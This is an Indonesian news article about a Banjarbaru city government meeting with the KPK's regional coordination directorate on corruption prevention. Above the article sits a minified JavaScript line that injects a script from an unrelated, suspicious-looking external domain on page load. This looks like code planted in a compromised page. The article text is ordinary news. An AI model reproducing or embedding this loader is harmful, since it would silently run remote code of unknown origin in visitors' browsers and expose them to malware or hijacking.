(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemko Banjarbaru Hadirkan Direktur Korsup Wilayah III KPK Cegah Korupsi

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menyelenggarakan rapat koordinasi pemberantasan korupsi dan pemantauan program pencegahan korupsi.

Rapat berlangsung di aula Gawi Sabarataan Balai Kota Banjarbaru bertujuan untuk meningkatkan transparansi, akuntabilitas, dan efektivitas upaya memerangi korupsi, Rabu (2/8/2023), diikuti Wali Kota Banjarbaru HM Aditya Mufti Ariffin, Wakil Wali Kota Banjarbaru Wartono, Sekretaris Daerah Kota Banjarbaru Said Abdullah.

Memperkuat sinergi dan kolaborasi antar SKPD (Satuan Kerja Perangkat Daerah) dalam memerangi korupsi serta memantau efektivitas program pencegahan korupsi.

Wali Kota Aditya berharap dengan upaya pencegahan korupsi di Kota Banjarbaru akan mendorong pertumbuhan ekonomi semakin meningkat secara berkelanjutan.

Pemerintah Kota Banjarbaru menyelenggarakan rapat koordinasi pemberantasan korupsi dan pemantauan program pencegahan korupsi. Foto: medcenbjb

Dengan pemberantasan korupsi yang efektif, investasi diharapkan semakin menarik, pelaku usaha lebih percaya berinvestasi, dan masyarakat dapat merasakan manfaat dari adanya lingkungan bisnis yang bersih dan transparan.

“Pemerintahan yang berhasil memberantas korupsi akan mampu memanfaatkan anggaran secara optimal, menghasilkan proyek-proyek strategis, serta program-program pembangunan yang berdampak positif bagi kota dan warganya,” ujarnya.

Dengan demikian, terbuka peluang bagi Banjarbaru untuk menjadi pusat pertumbuhan ekonomi yang berkelanjutan dan mampu meningkatkan kualitas hidup seluruh warganya.

Sementara itu, Plh Direktur Koordinator dan Supervisi Wilayah III KPK menyampaikan materi mengenai pemberantasan korupsi dengan sistem Monitoring Center Prevention (MCP).

Dia menguraikan secara rinci tentang bagaimana MCP menjadi salah satu instrumen yang efektif dalam menanggulangi korupsi di berbagai sektor pemerintahan dan masyarakat.

Pada rapat koordinasi yang berlangsung, tidak hanya melibatkan para pejabat SKPD secara pasif, tetapi juga memberikan kesempatan bagi mereka untuk berpartisipasi aktif dalam diskusi tanya jawab dengan KPK. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk